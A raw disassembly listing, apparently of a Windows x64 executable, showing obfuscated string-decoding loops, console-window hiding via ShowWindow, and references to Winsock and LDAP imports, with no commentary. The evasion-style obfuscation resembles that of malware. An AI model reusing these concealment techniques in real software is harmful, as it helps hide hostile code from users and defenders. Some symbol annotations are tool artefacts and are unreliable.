mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, byte [rbp + rbx + 0x2b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c24b2
sub bl, 0x24
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 4
jmp 0x1400c24b0
sub bl, 0x7c
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c24a0
lea rdx, [rbp + 0x1768040]
jmp 0x1400c3004
lea rdx, [rbp + 0xfb486c]
jmp 0x1400c3004
lea rdx, [rbp + 0x2b0]
mov rcx, qword [0x140220750]
call fcn.1400cefc0
mov qword [rsp + 0x78], 0x5dc
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x80]
call fcn.14005a1a0
mov rcx, rax
call fcn.14005a210
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402206e0]
call fcn.1400b30d0
mov rcx, qword [0x1402206e0]
mov byte [rcx + 0xb], 1
call fcn.140062720
mov byte [0x14021c5da], 0
mov byte [rbp + 0x218], __WSAFDIsSet
mov byte [rbp + 0x219], 0xae
mov byte [rbp + 0x21a], 0xac
mov byte [rbp + 0x21b], 0xaa
mov byte [rbp + 0x21c], 0xaf
mov byte [rbp + 0x21d], 0x9e
mov byte [rbp + 0x21e], 0xaa
mov byte [rbp + 0x21f], 0x98
mov byte [rbp + 0x220], 0x50
mov byte [rbp + 0x221], 0x84
mov byte [rbp + 0x222], 0x86
mov byte [rbp + 0x223], Ordinal_143
mov byte [rbp + Ordinal_354], 0x22
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x225], xmm0
mov dword [rbp + 0x235], eax
mov word [rbp + 0x239], ax
movabs rsi, 0x748f81fa201ab415
movabs r14, 0x26da80a8b55e3c07
movzx ebx, byte [rsp + 0x30]
xor r13d, r13d
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov r11, r13
cmp r11, 0x23
jae 0x1400c39d9
movzx r10d, byte [rbp + r11 + 0x218]
mov edx, r10d
nop dword [rax]
cmp r8, r11
ja 0x1400c39d0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c315a
lea rcx, [r11 + r14]
mov eax, edx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x31
jmp 0x1400c3187
je 0x1400c3965
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c3935
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c38f9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c38d6
cmp r9, r11
ja 0x1400c39c7
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400c31b0
lea ecx, [r11 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 5
jmp 0x1400c31f1
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400c3895
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c3875
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c385b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c3841
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c37bd
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400c347f
nop
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c3461
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c343e
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c3420
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c3402
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c33d6
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c39ab
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c398f
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c32fd
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c32e3
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c3397
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c336b
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c3351
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c3337
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c3317
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c3200
lea r8, [r9 + 6]
lea r9, [r8 + 0x10]
jmp 0x1400c3200
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x65
jmp 0x1400c31f1
lea ecx, [r11 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x39
jmp 0x1400c3187
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x64
dec r11
inc r11
jmp 0x1400c3113
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3e
jmp 0x1400c394d
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7a
jmp 0x1400c37fa
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x18
movzx eax, byte [rbp + r11 + 0x218]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c3113
lea ecx, [r11 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x3f
cmp r9, 0x64
jb 0x1400c3775
movzx edx, r11b
lea ecx, [rdx - 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea ebx, [rcx*2 - 0xc]
jmp 0x1400c38ad
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x1e
movzx eax, byte [rbp + r11 + 0x218]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c3113
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c37fa
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c394a
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x70
inc r9
dec r11
inc r11
jmp 0x1400c3113
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0xe
movzx edx, r11b
jmp 0x1400c38ad
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400c3502
lea ecx, [r11 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x31
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x1400c37aa
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400c35d6
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x53
cmp r8, 4
jae 0x1400c3785
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400c366f
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c33ac
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c3537
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0xa
movzx eax, byte [rbp + r11 + 0x218]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c3113
inc rax
cmp r8, rax
jne 0x1400c355d
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c37d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c3580
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x30
jmp 0x1400c394d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c35a7
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c394a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c349d
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx edi, r11b
jmp 0x1400c3911
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c35fc
movzx edx, r11b
lea ecx, [rdx - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0xf
jmp 0x1400c38ad
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c3625
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x2d
dec r11
inc r11
jmp 0x1400c3113
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c3648
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 7
jmp 0x1400c394d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c34cd
lea ecx, [r11 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5b
jmp 0x1400c37d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c36a4
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x14
movzx eax, byte [rbp + r11 + 0x218]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c3113
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c36cb
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c37d2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c36f2
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c394a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c371b
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x60
dec r11
inc r11
jmp 0x1400c3113
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c374b
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r9
dec r11
inc r11
jmp 0x1400c3113
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c33ac
movzx edx, r11b
lea ecx, [rdx - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x24
jmp 0x1400c38ad
mov byte [rbp + r11 + 0x218], bl
inc r11
jmp 0x1400c3113
movzx edi, r11b
lea edx, [rdi - 0x28]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x218]
sub cl, al
add cl, 0xc
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c3911
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [rcx - 0x4a]
jmp 0x1400c37d2
lea ecx, [r11 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x4d
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x218], al
inc r9
add rax, r9
sub r11, rax
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x218], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x218]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c3113
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x51
jmp 0x1400c394d
lea ecx, [r11 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x11
jmp 0x1400c394a
lea ecx, [r11 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x2b
dec r11
inc r11
jmp 0x1400c3113
movzx edx, r11b
lea ecx, [rdx - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x67
sub dl, 0x2f
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x49
add dl, r10b
mov byte [rbp + r11 + 0x218], dl
inc r9
dec r11
inc r11
jmp 0x1400c3113
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x41
inc r9
dec r11
inc r11
jmp 0x1400c3113
movzx edi, r11b
lea ecx, [rdi + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7d
sub dil, 0x21
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x19
add dil, bl
add dil, r10b
mov byte [rbp + r11 + 0x218], dil
jmp 0x1400c394a
lea ecx, [r11 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x1b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400c3113
lea rcx, [r11 + rsi]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 0x6d
movzx eax, byte [rbp + r11 + 0x218]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c3113
sub r11b, 0x5d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x75
jmp 0x1400c3110
sub r11b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x13
jmp 0x1400c3100
lea rdx, [rbp + 0x15056cc]
jmp 0x1400c39e0
lea rdx, [rbp + 0xae92d3]
jmp 0x1400c39e0
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0xc0]
call fcn.140003ea0
mov rdx, rax
mov rcx, qword [0x140220740]
call fcn.1400de570
nop
lea rcx, [rbp + 0xa70]
call fcn.140003430
nop
lea rcx, [rbp + 0xa28]
call fcn.140002490
nop
lea rcx, [rbp + 0xa48]
call fcn.140002490
mov rsi, qword [0x140220750]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x510], 0x53
mov byte [rbp + 0x511], 0x79
mov byte [rbp + 0x512], 0x79
mov byte [rbp + 0x513], 0x84
mov byte [rbp + 0x514], WSAStartup
mov byte [rbp + 0x515], 0x7b
mov byte [rbp + 0x516], 0x7d
mov byte [rbp + 0x517], Ordinal_41
mov byte [rbp + 0x518], 0x7b
mov byte [rbp + 0x519], 0x76
mov byte [rbp + 0x51a], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x51b], Ordinal_143
mov byte [rbp + 0x51c], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x51d], 0x75
mov byte [rbp + 0x51e], 0x63
mov byte [rbp + 0x51f], 0x3f
mov byte [rbp + 0x520], 0x65
mov byte [rbp + 0x521], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x522], Ordinal_60
mov byte [rbp + 0x523], 0x54
mov byte [rbp + 0x524], gethostname
mov byte [rbp + 0x525], __WSAFDIsSet
mov byte [rbp + 0x526], WSAGetLastError
mov byte [rbp + 0x527], 0x68
mov byte [rbp + 0x528], 0x67
mov byte [rbp + 0x529], 0x67
mov byte [rbp + 0x52a], WSAGetLastError
mov byte [rbp + 0x52b], 0x9c
mov byte [rbp + 0x52c], Ordinal_35
mov byte [rbp + 0x52d], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x52e], Ordinal_33
mov byte [rbp + 0x52f], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x530], Ordinal_46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x531], xmm0
movups xmmword [rbp + 0x541], xmm0
mov word [rbp + 0x551], ax
movabs r14, 0x50a5146b4fed9b02
movabs r15, 0xd5cdb7c5cf5a7312
movabs r12, 0xf1ef3d41efc8d106
movzx r10d, byte [rsp + 0x30]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
mov rbx, r13
cmp rbx, 0x43
jae 0x1400c45e0
movzx r11d, byte [rbp + rbx + 0x510]
mov rdx, r11
nop dword [rax]
cmp r8, rbx
ja 0x1400c45d7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c3bbd
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
movzx r10d, dl
sub r10b, al
sub r10b, 0xe
add r10b, cl
jmp 0x1400c3be0
je 0x1400c456d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c453f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c4520
nop dword [rax]
cmp r9, rbx
ja 0x1400c45ce
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x1400c3c0d
lea ecx, [rbx + 0x2a]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
add r10b, cl
jmp 0x1400c3c40
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c44d5
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c44b4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c44aa
cmp r8, rcx
je 0x1400c444d
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c41bd
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c419f
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c417b
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c415a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c413c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c411e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c40ff
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c40e0
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c40c4
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c4094
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c3c50
lea r8, [r9 + 6]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c45b3
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c4598
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c3e42
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c3e24
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c3e04
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c4044
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c3fe3
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c3f9d
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c3f77
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c3c50
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c3f4b
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c3f30
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c3f11
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c3ef2
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c3ee5
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c3ec6
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c3ea1
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c3e7d
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c3e5f
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c3c50
lea r8, [r9 + 3]
lea r9, [r8 + 0x3e8]
jmp 0x1400c3c50
lea ecx, [rbx + 0x16]
movzx eax, r11b
and al, cl
mov r10d, 0x33
sub r10b, al
add r10b, r10b
add r10b, r11b
add r10b, cl
jmp 0x1400c3c40
lea edx, [rbx + 0x12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7e
add r10b, dl
jmp 0x1400c3be0
lea edx, [rbx + 0xe]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x62
add r10b, dl
jmp 0x1400c3b86
lea edx, [rbx + 0x50]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
movzx edi, bl
jmp 0x1400c44ee
lea ecx, [rbx + 0x4c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
inc r9
dec rbx
inc rbx
jmp 0x1400c3b73
lea edx, [rbx + 0x48]
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400c3b73
lea edx, [rbx + 0x44]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
movzx edi, bl
jmp 0x1400c43d5
lea edx, [rbx + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400c4528
lea edx, [rbx + 0x3c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400c4554
lea edx, [rbx + 0x38]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
movzx edi, bl
jmp 0x1400c441b
lea edx, [rbx + 0x34]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
jmp 0x1400c4463
lea ecx, [rbx + 0x30]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3b73
lea ecx, [rbx + 0x26]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xa
mov byte [rbp + rbx + 0x510], r10b
inc rbx
jmp 0x1400c3b73
lea edx, [rbx + 0x22]
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x1000
jb 0x1400c3f8d
movzx edi, bl
lea edx, [rdi - 0x34]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x28]
jmp 0x1400c44f1
lea edx, [rbx + 0x1e]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 1
jae 0x1400c43b8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4339
lea edx, [rbx - 0x58]
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3b73
lea edx, [rbx + 0x1a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400c4404
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400c4291
lea edx, [rbx + 0x7a]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x56
jmp 0x1400c3ffa
lea edx, [rbx - 4]
movzx eax, r11b
and al, dl
mov ecx, select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3b73
lea edx, [rbx - 8]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c4463
movzx edi, bl
lea edx, [rdi - 0xc]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c441b
lea edx, [rbx - 0x10]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400c4554
lea ecx, [rbx - 0x14]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
add r8, r9
jmp 0x1400c4554
movzx edi, bl
lea edx, [rdi - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
jmp 0x1400c43d5
lea ecx, [rbx - 0x1c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3c
dec rbx
inc rbx
jmp 0x1400c3b73
lea ecx, [rbx - 0x20]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x1400c3b73
movzx edi, bl
lea edx, [rdi - 0x24]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 4
jmp 0x1400c44ee
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400c41e1
lea edx, [rbx + 2]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xe
jmp 0x1400c405b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4216
lea ecx, [rbx + 0x54]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4c
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3b73
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c423e
movzx edi, bl
lea edx, [rdi + 0x5c]
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c441b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c4266
movzx edi, bl
lea edx, [rdi + 0x68]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c43d5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c405e
movzx edi, bl
lea edx, [rdi + 0x74]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2c
jmp 0x1400c44ee
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c42b8
movzx edi, bl
lea edx, [rdi + 0x7e]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x72
jmp 0x1400c44ee
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c42e6
lea edx, [rbx - 0x7a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400c3b73
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c430e
lea edx, [rbx - 0x6e]
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400c4554
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c3ffd
movzx edi, bl
